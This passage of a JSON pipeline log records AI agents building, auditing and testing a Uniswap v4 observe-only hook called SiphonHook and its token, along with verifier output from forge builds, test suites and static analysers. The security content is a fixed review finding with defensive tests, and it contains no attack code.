above.","treeHash":null,"usage":{"cachedInputTokens":663775,"inputTokens":26,"model":"claude-opus-5-5","outputTokens":18630,"runtime":"claude","turns":15,"wallClockMs":227643}},{"artifacts":[],"attempt":1,"bundleHash":"9dcab8792d1190e111817e1c10cd3bda5e850266452731ef31ec59186231b3d5","device":"ddcecd7483f623f7","findings":[],"hash":"b56fd4d4708a0e5e6542e92bbdafcce3debea4a2e21f2b85a45dd45784414a75","nodeId":"4636834f-76be-49b4-9b04-d56963539db4","outcome":"completed","summary":"The manifest is written and verified. The only change in the working tree is the new `launch.json`.\n\n**What launch.json describes**\n\n- **Hook**: `SiphonHook` with constructor arguments `$poolManager` and `$owner`, matching the compiled ABI's two parameters in declaration order.\n- **Permissions**: `beforeInitialize` and `afterSwap`, the exact two flags the contract's getHookPermissions returns and the constructor self-validates (flags 0x2040).\n- **Token**: `SiphonToken`, name SIPHON, symbol SIPH, 18 decimals, no constructor arguments.\n- **Pool**: native ETH pair at the zero address, fee 12500, tick spacing 60, initial price as the launch facts give it.\n- **Notes**: 1880 characters, under the 4000 cap. They explain the observe-only behaviour, that \"no fee\" means no hook fee while the 1.25% LP fee stays, that beforeInitialize accepts the factory's pool without restriction, and the owner's anchor, pause and ownership powers.\n\n**Checks run**\n\n- `forge build` succeeds and `forge test` with the verifier's fuzz seed passes all 50 tests.\n- The manifest parses as JSON with `kind` as its first field, and no placeholder or stand-in address is used anywhere besides the zero address for the ETH paired currency, which the schema requires.\n- No file outside launch.json was modified.","treeHash":"6b8be865fc569fed743248e97deeabf83a4071f5","usage":{"cachedInputTokens":224397,"inputTokens":130,"model":"claude-fable-5-1","outputTokens":3776,"runtime":"claude","turns":11,"wallClockMs":120345}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"87804e27e9c9f85a","findings":[],"hash":"b72c47db2ed1a333615bbb9405a89d6845364e0317726a9d6c7bbc67c773dc2f","nodeId":"c1679cff-c3e0-4233-8f59-fea1ff2dd24f","outcome":"completed","summary":"Review complete. Every earlier finding is settled and no new defect reproduces, so the findings file carries an empty list plus the coverage record.\n\n**Settled findings**\n\n- **Medium, forged PoolData through a second pool: fixed.** `beforeInitialize` now stores the first pool's id and reverts `PoolAlreadyInitialized` on every later initialize. `afterSwap` reads that stored id. All five attached proofs pass on this tree. My own test, run through a real PoolManager, confirms the in-place calldata hash equals v4's pool id and that a pool differing only by fee and spacing is refused. A pool cannot be opened before the hook has code, so the factory's deploy-and-initialize transaction always records the launch pool.\n- **Low, unbounded anchor gas: fixed.** The staticcall now receives a fixed 50,000 gas. The attached proof and the author's 300,000-gas-limit test pass. README and NatSpec state the bound.\n- **Info, feeAmount ignores protocol fee: fixed by documentation.** NatSpec and README now describe feeAmount as the nominal LP fee with the overstatement bound.\n- **Info, pause does not block swaps: dropped.** The author's dispute holds. The behaviour is documented and is the safer reading for an observe-only hook.\n- **Info, single-step ownership: fixed by documentation.** README states the risk and the multisig advice.\n- **Info, spot prices manipulable: fixed by documentation.** README has a \"Not a price oracle\" item.\n\n**New-code review**\n\nThe revised lines introduce nothing I could reproduce as a defect. Full suite passes with 84 tests. Runtime measured at 2030 bytes, under the 2048 limit. The manifest matches the constructor and permissions, and notes are within the 4,000-character cap. All static-analysis leads were false positives or intended choices, recorded as such in the file.\n\n**Coverage**\n\nAll eight entry points are marked `holds` with reasons, plus two invariant rows for deployability and manifest schema. Scratch tests were removed, leaving the tree unchanged apart from the required findings file.","treeHash":null,"usage":{"cachedInputTokens":755364,"inputTokens":322,"model":"claude-fable-5-1","outputTokens":17913,"runtime":"claude","turns":25,"wallClockMs":401938}},{"artifacts":[],"attempt":1,"bundleHash":"63a83dcdaa563c72b8eecb66b85397c5e71eaf99d3f5059f11277aa940b5eebd","device":"782f24113d209be2","findings":[],"hash":"c05737ec2fb7068e07e048f4a9888ff985038335fbd7df8708bdedda54754768","nodeId":"4636834f-76be-49b4-9b04-d56963539db4","outcome":"completed","summary":"Done. Only launch.json changed.\n\n**What I found.** The existing manifest's structural fields already matched the accepted tree: hook contract SiphonHook with constructor arguments `$poolManager` and `$owner`, permissions beforeInitialize and afterSwap exactly as getHookPermissions returns them, token SiphonToken named SIPHON with symbol SIPH and 18 decimals, and the launch pool values (native ETH, fee 12500, tickSpacing 60, initialPrice as the reference gives it). The hook was revised in a later accepted commit, though, so the notes described the old behaviour.\n\n**What I changed.** Only the notes string, to match the current hook:\n\n- beforeInitialize now records the first pool's id and reverts PoolAlreadyInitialized for any later pool on the hook. The old notes said any pool could open on it.\n- The anchor staticcall is capped at 50,000 gas, so a gas-burning anchor cannot make swaps costly.\n- feeAmount is described as a nominal LP fee that ignores any protocol fee, blockNumber as the L1 block on Arbitrum Nitro, and the spot prices as raw observations rather than an oracle.\n- Runtime size is stated as 2030 bytes, under 2 KB.\n\n**Verification.** The build passes and all 52 tests pass with the verifier's fuzz seed. The manifest parses with `kind` as its first key, lowercase addresses, strings for uint256 and address values, numbers for fee, tickSpacing and decimals, and notes at 2340 characters, under the 4000 cap. No placeholder or stand-in address was needed: the hook takes no factory, token or launch number argument.","treeHash":"6bc307bb77044929715cf75bc0772e1872f5ed09","usage":{"cachedInputTokens":295195,"inputTokens":162,"model":"claude-fable-5-1","outputTokens":4632,"runtime":"claude","turns":12,"wallClockMs":73950}},{"artifacts":[],"attempt":1,"bundleHash":"fdbeea2e5cbdad421f66981f5ee296d3000ee731543b59a4b76d9c2975f1d539","device":"3beb94a990617d46","findings":[],"hash":"cc948e39dfdf6868a768e677f235e5bddbd7bebfe983d671744a66864e002be9","nodeId":"b08de00e-a01b-4a99-b6e6-102f26a3dc7b","outcome":"completed","summary":"The work is complete and committed on `main` (commit `b53a20a`). A fresh clone builds, passes `forge fmt --check`, and runs all 50 tests offline with the verifier's fuzz seed. The 16 protected floor tests also pass against the built bytecode when run with the verifier's environment.\n\n**What was delivered**\n\n- `src/SiphonHook.sol`: observe-only hook with `beforeInitialize` and `afterSwap`. On each swap it reads its own slot0 and liquidity, staticcalls the anchor's `getSlot0(bytes32)` (selector `0xc815641c`) when an anchor is set, and emits one `PoolData` event. No fee, no return delta, no transient storage, no custody. Owner can set or clear the anchor, pause emission, and transfer ownership. Runtime is 1960 bytes.\n- `src/SiphonToken.sol`: fixed-supply SIPHON / SIPH token, 10^27 minor units minted to the deployer, no admin functions.\n- `src/HookFlags.sol`, test mocks, `test/floor/OwnerChecks.sol`, a rehearsal deploy script, and a README covering assumptions, manifest arguments, after-launch settings and operator responsibilities.\n- Dependencies vendored as plain files under `lib/` (forge-std, v4-core, OpenZeppelin 5.4.0, solmate). Compiler pinned at 0.8.26 with via-IR and `bytecode_hash = \"none\"`.\n\n**Decisions worth knowing about**\n\n- The brief said \"afterSwap only\", but launch rules require an initialization callback, so `beforeInitialize` was added. It accepts any pool and only checks the caller.\n- The selector in the brief takes a pool id, so the anchor setter stores both an address and a `bytes32` pool id. The intended target is Uniswap's `StateView` for the chain plus the tracked pool's id.\n- Pause silences emission and skips the anchor call. It never reverts swaps. If \"pause\" was meant to halt trading, that is a one-line change, but it would let the owner freeze the pool.\n- A reverting, short-answering or code-less anchor yields zero anchor fields rather than a failed swap.\n- To stay under 2 KB the hook is hand-written instead of inheriting BaseHook/Ownable/Pausable, encodes its permissions in assembly, and hashes the PoolKey directly from calldata. Each is commented in the source and explained in the README.\n\n**Two things I could not change**\n\n- The sandbox refused to delete or edit the nested `.gitmodules` text files inside the vendored libraries. They are excluded from the commit, so the committed tree contains no `.gitmodules` and no submodule. The directories they described were removed.\n- Slither is not available here. I wrote around the six rejected detectors and grepped `src/` for the patterns, but the verifier's run is the authority.","treeHash":"aa732decd811578c3040bec3a42de4948bb16177","usage":{"cachedInputTokens":2673647,"inputTokens":770,"model":"claude-fable-5-1","outputTokens":74477,"runtime":"claude","turns":66,"wallClockMs":1322081}},{"artifacts":[],"attempt":1,"bundleHash":"774b4faaf39948cd8735c041f08fac5f506ee7f1a34e7de87ad175c39b682335","device":"9e51ef2afd7c2af8","findings":[],"hash":"e8f869f65dd5ec5c1a55060d6e2b8b38bded1dc87bd68de931ddf264ee5d469a","nodeId":"121eeb25-9b22-4b3f-be65-370ae435eece","outcome":"completed","summary":"All 84 tests now pass with `forge build` and `forge test`, run with the verifier's fuzz seed (`0x09d3…19a1`). I only changed `test/SiphonHookEdges.t.sol` and `test/invariant/SiphonHook.invariant.t.sol`.\n\n**Why five tests broke:** since my last round, the hook was changed so it serves only the first pool initialized on it and refuses any later `initialize` with `PoolAlreadyInitialized`. That stops anyone opening an empty pool on the hook to make it emit fake `PoolData`. Five of my edge tests opened extra pools on the launch hook and now failed for that reason, not because of a bug.\n\n**What I changed:**\n- **Repairs:** `openPool` now deploys a separate hook for each extra pool, and the log helpers can filter by which hook emitted the event. The out-of-range, 100% fee, dynamic fee and two-pool tests run on those separate hooks. The two-pool test now also checks that each `PoolData` comes right after the PoolManager's `Swap` event for the pool that hook serves.\n- **New tests for the first-pool-only rule:**\n  - A fuzz test showing the recorded `poolId` is exactly `keccak256(abi.encode(key))` for any key.\n  - A fuzz test showing a stranger, the factory or the owner can't open a second pool on the launch hook, whatever the fee, tick spacing or currency pair. The recorded pool and its swap records stay unchanged.\n  - Re-initializing the launch pool is refused and changes nothing.\n  - A direct `afterSwap` call with a different pool's key still reports the hook's own pool.\n  - `afterSwap` on a hook with no pool yet returns cleanly and reports zeros.\n  - Calling `beforeInitialize` as anyone other than the PoolManager records nothing.\n- **Invariant suite:** a new handler action tries to open another pool on the hook from random callers with random fee, tick spacing and price. A new invariant, `invariant_theHookServesTheLaunchPoolForever`, checks the recorded pool never changes. It held over 256 runs of 40 calls each.\n- I updated one comment that pointed to my earlier report about a gas-burning anchor. The hook now limits the anchor call to 50,000 gas, and the existing test `test_anchorThatBurnsItsGasCostsTheSwapAtMostTheStipend` covers it.\n\n**Findings:** none new, so there is no `.imd-findings.json`. One cosmetic point: `_readAnchor` declares a local variable `poolId` that hides the new `poolId` state variable, so the compiler prints a warning. It has no effect on behaviour.","treeHash":"bf6fde4ad54bc9abfaf874b906cae070e3136059","usage":{"cachedInputTokens":690028,"inputTokens":24,"model":"claude-opus-5-5","outputTokens":13916,"runtime":"claude","turns":16,"wallClockMs":297335}}],"verification":[{"checks":[{"durationMs":21941,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 21.81s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/SiphonHook.sol:219:9:\n    |\n219 |         bytes32 poolId = anchorPoolId;\n    |         ^^^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/SiphonHook.sol:38:5:\n   |\n38 |     bytes32 public poolId;\n   |     ^^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":257,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 2 tests for test/DeploySiphon.t.sol:DeploySiphonTest\n[PASS] test_deployTokenMintsToTheCaller() (gas: 2084025)\n[PASS] test_mineSaltAndDeployLandOnTheFlags() (gas: 6402581)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.74ms (3.16ms CPU time)\n\nRan 3 tests for test/HookFlags.t.sol:HookFlagsTest\n[PASS] testFuzz_matchesIgnoresBitsAboveTheMask(uint160,uint160) (runs: 256, μ: 256, ~: 256)\n[PASS] test_constantsAgreeWithV4Core() (gas: 165)\n[PASS] test_flagsOfReadsTheLowFourteenBits() (gas: 499)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 3.73ms (3.73ms CPU time)\n\nRan 8 tests for test/SiphonToken.t.sol:SiphonTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 78339, ~: 78614)\n[PASS] test_metadata() (gas: 24659)\n[PASS] test_noMintBurnOwnerOrPauseEntryPoints() (gas: 200640)\n[PASS] test_transferBeyondBalanceReverts() (gas: 37740)\n[PASS] test_transferFromWithAllowance() (gas: 183541)\n[PASS] test_transferFromWithoutAllowanceReverts() (gas: 92804)\n[PASS] test_transferMovesExactly() (gas: 80050)\n[PASS] test_wholeSupplyMintedToDeployer() (gas: 23928)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 3.73ms (4.20ms CPU time)\n\nRan 39 tests for test/SiphonHook.t.sol:SiphonHookTest\n[PASS] testFuzz_anchorValuesPassThroughUnchanged(uint160,int24) (runs: 256, μ: 396750, ~: 396658)\n[PASS] testFuzz_exactInputSwapsReportConsistentData(uint256,bool,bool) (runs: 256, μ: 212343, ~: 170466)\n[PASS] testFuzz_exactOutputSwapsReportFeeOnWhatWasPaid(uint256,bool) (runs: 256, μ: 167522, ~: 167017)\n[PASS] testFuzz_onlyTheOwnerAdministers(address) (runs: 256, μ: 85991, ~: 86158)\n[PASS] test_afterSwapFeeUsesThePaidSide() (gas: 66928)\n[PASS] test_afterSwapReadsTheRecordedPool() (gas: 78910)\n[PASS] test_afterSwapWithNothingPaidReportsZeroFee() (gas: 67209)\n[PASS] test_anchorNegativeTickIsSignExtended() (gas: 397565)\n[PASS] test_anchorPoolIdIsWhatIsAsked() (gas: 237500)\n[PASS] test_anchorReadThroughAStateViewLikeContract() (gas: 266305)\n[PASS] test_anchorThatBurnsItsGasCostsTheSwapAtMostTheStipend() (gas: 493903)\n[PASS] test_anchorThatRevertsDoesNotBlockTheSwap() (gas: 359896)\n[PASS] test_anchorWithShortAnswerReadsAsZero() (gas: 326884)\n[PASS] test_anchorWithoutCodeReadsAsZero() (gas: 239459)\n[PASS] test_beforeInitializeReturnsItsSelectorAndRecordsTheFirstPoolOnly() (gas: 13572147)\n[PASS] test_blockNumberIsTheIndexedTopic() (gas: 154684)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 94180)\n[PASS] test_clearingTheAnchorStopsTheRead() (gas: 263933)\n[PASS] test_constructorRejectsAnAddressWithoutItsFlags() (gas: 8658)\n[PASS] test_constructorRejectsZeroOwner() (gas: 6722)\n[PASS] test_constructorState() (gas: 52277)\n[PASS] test_everySwapEmitsOnce() (gas: 401071)\n[PASS] test_exactInputBuyEmitsPoolDataWithoutAnchor() (gas: 170118)\n[PASS] test_exactInputSellEmitsPoolData() (gas: 166628)\n[PASS] test_exactOutputSwapReportsPositiveAmountAndFeeOnInput() (gas: 167540)\n[PASS] test_factoryCollectsFeesWithAZeroLiquidityChange() (gas: 408742)\n[PASS] test_hookHasNoReceiveOrFallback() (gas: 55452)\n[PASS] test_hookTakesNothingAndHoldsNothing() (gas: 202743)\n[PASS] test_liquidityCanBeRemoved() (gas: 117938)\n[PASS] test_nobodyCanOpenAnotherPoolOnTheHook() (gas: 93807)\n[PASS] test_pauseSilencesEmissionButNeverBlocksSwaps() (gas: 319401)\n[PASS] test_pausedHookSkipsTheAnchorCall() (gas: 349423)\n[PASS] test_permissionsMatchTheAddress() (gas: 8680)\n[PASS] test_runtimeHasNoDelegatecallOrSelfdestruct() (gas: 769035)\n[PASS] test_runtimeIsUnderTwoKilobytes() (gas: 5509)\n[PASS] test_setAnchorOnlyOwner() (gas: 157204)\n[PASS] test_setPausedOnlyOwner() (gas: 111586)\n[PASS] test_strangerCannotForgePoolDataThroughAnEmptyPool() (gas: 496501)\n[PASS] test_transferOwnership() (gas: 165072)\nSuite result: ok. 39 passed; 0 failed; 0 skipped; finished in 103.66ms (136.09ms CPU time)\n\nRan 4 test suites in 105.53ms (114.85ms CPU time): 52 tests passed, 0 failed, 0 skipped (52 total tests)\n","passed":true},{"durationMs":77,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SiphonHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SiphonHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"SiphonHook.setAnchor(address,bytes32)\",\"SiphonHook.setPaused(bool)\",\"SiphonHook.transferOwnership(address)\",\"SiphonToken.approve(address,uint256)\",\"SiphonToken.transfer(address,uint256)\",\"SiphonToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":267,\"foundry.toml\":21,\"remappings.txt\":4,\"script/DeploySiphon.s.sol\":53,\"src/HookFlags.sol\":35,\"src/SiphonHook.sol\":232,\"src/SiphonToken.sol\":16,\"test/DeploySiphon.t.sol\":31,\"test/HookFlags.t.sol\":41,\"test/SiphonHook.t.sol\":696,\"test/SiphonToken.t.sol\":97,\"test/floor/OwnerChecks.sol\":27,\"test/mocks/AnchorView.sol\":68,\"test/mocks/DustSwapper.sol\":31,\"test/mocks/LiquidityRouter.sol\":60,\"test/mocks/MockERC20.sol\":15,\"test/mocks/Swapper.sol\":65},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":1892,"exitCode":0,"name":"slither","output":"[medium/medium] unused-return at src/SiphonHook.sol:176: SiphonHook.afterSwap(address,PoolKey,SwapParams,BalanceDelta,bytes) (src/SiphonHook.sol#176-211) ignores return value by (sqrtPriceSelf,tickSelf,None,lpFee) = poolManager.getSlot0(id) (src/SiphonHook.sol#183)\n[low/high] shadowing-local at src/SiphonHook.sol:219: SiphonHook._readAnchor().poolId (src/SiphonHook.sol#219) shadows:\n[low/medium] missing-zero-check at src/SiphonHook.sol:100: SiphonHook.setAnchor(address,bytes32).anchor_ (src/SiphonHook.sol#100) lacks a zero-check on :","passed":true},{"durationMs":413,"exitCode":0,"name":"aderyn","output":"[high] yul-return at src/SiphonHook.sol:132: Yul block contains `return`\n[low] centralization-risk at src/SiphonHook.sol:100: Centralization Risk (3 places)\n[low] internal-function-used-once at src/HookFlags.sol:27: Internal Function Used Only Once\n[low] large-numeric-literal at src/SiphonHook.sol:42: Large Numeric Literal (3 places)\n[low] local-variable-shadowing at src/SiphonHook.sol:219: Local Variable Shadows State Variable\n[low] state-change-without-event at src/SiphonHook.sol:161: State Change Without Event\n[low] state-no-address-check at src/SiphonHook.sol:101: Address State Variable Set Without Checks\n[low] unused-state-variable at src/SiphonHook.sol:42: Unused State Variable","passed":true},{"durationMs":10347,"exitCode":0,"name":"proof 482a29283efa","output":"Compiling 80 files with Solc 0.8.26\nSolc 0.8.26 finished in 9.49s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/SiphonHook.sol:219:9:\n    |\n219 |         bytes32 poolId = anchorPoolId;\n    |         ^^^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/SiphonHook.sol:38:5:\n   |\n38 |     bytes32 public poolId;\n   |     ^^^^^^^^^^^^^^^^^^^^^\n\n\nRan 1 test for test/imd-proof-05a35564/Proof_482a29283efa.t.sol:ForgedPoolDataTest\n[PASS] test_strangerCannotMakeTheHookEmitPoolDataForAnotherPool() (gas: 442443)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 60.24ms (125.25µs CPU time)\n\nRan 1 test suite in 61.78ms (60.24ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"7f73b8b93dae36a76f91aead6899928cad765e651a30ebe99c7b77f7bc043f22","verifiedTreeHash":"202d6ebc1feefa3827069cef201c03f9dfc7e092","verifierVersion":"0.1.0+1d98f47e"},{"checks":[{"durationMs":40404,"exitCode":0,"name":"build","output":"Compiling 88 files with Solc 0.8.26\nSolc 0.8.26 finished in 40.28s\nCompiler run successful!\n","passed":true},{"durationMs":2454,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/HookFlags.t.sol:HookFlagsTest\n[PASS] testFuzz_matchesIgnoresBitsAboveTheMask(uint160,uint160) (runs: 256, μ: 256, ~: 256)\n[PASS] test_constantsAgreeWithV4Core() (gas: 165)\n[PASS] test_flagsOfReadsTheLowFourteenBits() (gas: 499)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 4.34ms (4.35ms CPU time)\n\nRan 8 tests for test/SiphonToken.t.sol:SiphonTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 78409, ~: 78614)\n[PASS] test_metadata() (gas: 24659)\n[PASS] test_noMintBurnOwnerOrPauseEntryPoints() (gas: 200640)\n[PASS] test_transferBeyondBalanceReverts() (gas: 37740)\n[PASS] test_transferFromWithAllowance() (gas: 183541)\n[PASS] test_transferFromWithoutAllowanceReverts() (gas: 92804)\n[PASS] test_transferMovesExactly() (gas: 80050)\n[PASS] test_wholeSupplyMintedToDeployer() (gas: 23928)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 4.39ms (4.88ms CPU time)\n\nRan 2 tests for test/DeploySiphon.t.sol:DeploySiphonTest\n[PASS] test_deployTokenMintsToTheCaller() (gas: 2068870)\n[PASS] test_mineSaltAndDeployLandOnTheFlags() (gas: 46569007)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 84.97ms (59.04ms CPU time)\n\nRan 37 tests for test/SiphonHook.t.sol:SiphonHookTest\n[PASS] testFuzz_anchorValuesPassThroughUnchanged(uint160,int24) (runs: 256, μ: 394666, ~: 394560)\n[PASS] testFuzz_exactInputSwapsReportConsistentData(uint256,bool,bool) (runs: 256, μ: 210329, ~: 168438)\n[PASS] testFuzz_exactOutputSwapsReportFeeOnWhatWasPaid(uint256,bool) (runs: 256, μ: 165442, ~: 164944)\n[PASS] testFuzz_onlyTheOwnerAdministers(address) (runs: 256, μ: 85925, ~: 86092)\n[PASS] test_afterSwapFeeUsesThePaidSide() (gas: 64855)\n[PASS] test_afterSwapHashesTheKeyItWasGiven() (gas: 70755)\n[PASS] test_afterSwapWithNothingPaidReportsZeroFee() (gas: 65166)\n[PASS] test_anchorNegativeTickIsSignExtended() (gas: 395507)\n[PASS] test_anchorPoolIdIsWhatIsAsked() (gas: 235426)\n[PASS] test_anchorReadThroughAStateViewLikeContract() (gas: 264305)\n[PASS] test_anchorThatRevertsDoesNotBlockTheSwap() (gas: 357839)\n[PASS] test_anchorWithShortAnswerReadsAsZero() (gas: 324849)\n[PASS] test_anchorWithoutCodeReadsAsZero() (gas: 237434)\n[PASS] test_anyoneCanOpenAnotherPoolOnTheHook() (gas: 74623)\n[PASS] test_beforeInitializeReturnsItsSelector() (gas: 20009)\n[PASS] test_blockNumberIsTheIndexedTopic() (gas: 152655)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 84341)\n[PASS] test_clearingTheAnchorStopsTheRead() (gas: 261860)\n[PASS] test_constructorRejectsAnAddressWithoutItsFlags() (gas: 8614)\n[PASS] test_constructorRejectsZeroOwner() (gas: 6746)\n[PASS] test_constructorState() (gas: 44638)\n[PASS] test_everySwapEmitsOnce() (gas: 394940)\n[PASS] test_exactInputBuyEmitsPoolDataWithoutAnchor() (gas: 168045)\n[PASS] test_exactInputSellEmitsPoolData() (gas: 164573)\n[PASS] test_exactOutputSwapReportsPositiveAmountAndFeeOnInput() (gas: 165489)\n[PASS] test_factoryCollectsFeesWithAZeroLiquidityChange() (gas: 404686)\n[PASS] test_hookHasNoReceiveOrFallback() (gas: 55452)\n[PASS] test_hookTakesNothingAndHoldsNothing() (gas: 200738)\n[PASS] test_liquidityCanBeRemoved() (gas: 117916)\n[PASS] test_pauseSilencesEmissionButNeverBlocksSwaps() (gas: 317396)\n[PASS] test_pausedHookSkipsTheAnchorCall() (gas: 349357)\n[PASS] test_permissionsMatchTheAddress() (gas: 8635)\n[PASS] test_runtimeHasNoDelegatecallOrSelfdestruct() (gas: 743494)\n[PASS] test_runtimeIsUnderTwoKilobytes() (gas: 5487)\n[PASS] test_setAnchorOnlyOwner() (gas: 157185)\n[PASS] test_setPausedOnlyOwner() (gas: 111546)\n[PASS] test_transferOwnership() (gas: 164918)\nSuite result: ok. 37 passed; 0 failed; 0 skipped; finished in 85.83ms (188.73ms CPU time)\n\nRan 26 tests for test/SiphonHookEdges.t.sol:SiphonHookEdgesTest\n[PASS] testFuzz_anchorIsAskedForExactlyTheStoredPoolId(bytes32) (runs: 256, μ: 340046, ~: 340148)\n[PASS] testFuzz_dirtyAnchorWordsAreNarrowedNotTrusted(uint256,uint256) (runs: 256, μ: 384040, ~: 383999)\n[PASS] testFuzz_feeAmountIsTheLpFeeThePoolCharged(uint256,bool,bool) (runs: 1000, μ: 182808, ~: 180706)\n[PASS] testFuzz_unitFeeComesOnlyFromTheNegativePaidSide(int128,int128,bool) (runs: 256, μ: 65121, ~: 65113)\n[PASS] test_anchorOnAnUninitializedPoolReadsAsZero() (gas: 418858)\n[PASS] test_anchorPointingAtTheHookItselfReadsAsZero() (gas: 230520)\n[PASS] test_anchorPointingAtThePoolManagerReadsAsZero() (gas: 235736)\n[PASS] test_anchorPoolIdWithoutAnAnchorAddressIsNotRead() (gas: 207880)\n[PASS] test_anchorThatWritesStateCannotAndReadsAsZero() (gas: 977002668)\n[PASS] test_anchorWithOversizedAnswerReadsTheFirstTwoWords() (gas: 353410)\n[PASS] test_beforeInitializeAcceptsThePolicyFeeFromTheManagerOnly() (gas: 28159)\n[PASS] test_dynamicFeePoolWithNoFeeSetReportsZeroFee() (gas: 507948)\n[PASS] test_eachPoolDataFollowsTheManagersSwapEventForItsPool() (gas: 652230)\n[PASS] test_failedAdminCallsChangeNothing() (gas: 84341)\n[PASS] test_gasBurningAnchorReadsAsZeroAndClearingItRestoresTheCost() (gas: 977130884)\n[PASS] test_longHookDataDoesNotShiftThePoolKey() (gas: 288958)\n[PASS] test_maximumLpFeeReportsTheWholeInputAsFee() (gas: 486463)\n[PASS] test_pausedUnitCallStillReturnsTheSelectorAndNoDelta() (gas: 79137)\n[PASS] test_poolManagerAndFactoryAreNotAdmins() (gas: 164298)\n[PASS] test_previousOwnerLosesEveryPower() (gas: 119679)\n[PASS] test_priceLimitedPartialFillReportsFeeOnWhatWasActuallyPaid() (gas: 169496)\n[PASS] test_settersAreIdempotentAndEmitEveryTime() (gas: 421277)\n[PASS] test_swapLeavingTheLiquidityRangeReportsZeroLiquidity() (gas: 549843)\n[PASS] test_swapsAcrossBlocksCarryTheirOwnBlockNumber() (gas: 284203)\n[PASS] test_transferOwnershipToSelfKeepsControl() (gas: 80020)\n[PASS] test_unitDeltaAtTheInt128Edge() (gas: 64590)\nSuite result: ok. 26 passed; 0 failed; 0 skipped; finished in 98.32ms (229.10ms CPU time)\n\nRan 1 test for test/invariant/SiphonHook.invariant.t.sol:SiphonInvariantTest\n[PASS]\nSiphonInvariantTest invariants:\n[PASS] invariant_adminStateIsExactlyWhatTheOwnerSet\n[PASS] invariant_everySwapRecordMatchesThePool\n[PASS] invariant_hookHoldsNothing\n[PASS] invariant_oneRecordPerUnpausedSwapAndNoneOtherwise\n[PASS] invariant_thePoolStaysLiveWithItsLiquidity\n[PASS] invariant_tokenSupplyIsFixedAndFullyAccounted\n SiphonInvariantTest invariants (runs: 256, calls: 10240, reverts: 0)\n\n╭---------------+-------------------+-------+---------+----------╮\n| Contract      | Selector          | Calls | Reverts | Discards |\n+================================================================+\n| SiphonHandler | collect           | 1234  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | moveTokens        | 1282  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | pokeCallback      | 1317  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | roll              | 1283  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | setAnchor         | 1283  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | setPaused         | 1289  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | swap              | 1264  | 0       | 0        |\n|---------------+-------------------+-------+---------+----------|\n| SiphonHandler | transferOwnership | 1288  | 0       | 0        |\n╰---------------+-------------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.29s (2.26s CPU time)\n\nRan 6 test suites in 2.29s (2.56s CPU time): 77 tests passed, 0 failed, 0 skipped (77 total tests)\n","passed":true},{"durationMs":77,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SiphonHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SiphonHook.setAnchor(address,bytes32)\",\"SiphonHook.setPaused(bool)\",\"SiphonHook.transferOwnership(address)\",\"SiphonToken.approve(address,uint256)\",\"SiphonToken.transfer(address,uint256)\",\"SiphonToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":236,\"foundry.toml\":21,\"remappings.txt\":4,\"script/DeploySiphon.s.sol\":53,\"src/HookFlags.sol\":35,\"src/SiphonHook.sol\":215,\"src/SiphonToken.sol\":16,\"test/DeploySiphon.t.sol\":31,\"test/HookFlags.t.sol\":41,\"test/SiphonHook.t.sol\":634,\"test/SiphonHookEdges.t.sol\":526,\"test/SiphonToken.t.sol\":97,\"test/floor/OwnerChecks.sol\":27,\"test/invariant/SiphonHook.invariant.t.sol\":389,\"test/mocks/AnchorView.sol\":59,\"test/mocks/HostileAnchors.sol\":62,\"test/mocks/LimitSwapper.sol\":51,\"test/mocks/LiquidityRouter.sol\":60,\"test/mocks/MockERC20.sol\":15,\"test/mocks/Swapper.sol\":65},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"8c064a8769b15424766cfd08c7ee10b1d78ac18809b71f012c16a7d976dd5779","verifiedTreeHash":"627da72cdc157949f430cafcb309f910ad6f7a44","verifierVersion":"0.1.0+1d98f47e"},{"checks":[{"durationMs":21338,"exitCode":0,"name":"build","output":"Compiling 84 files with Solc 0.8.26\nSolc 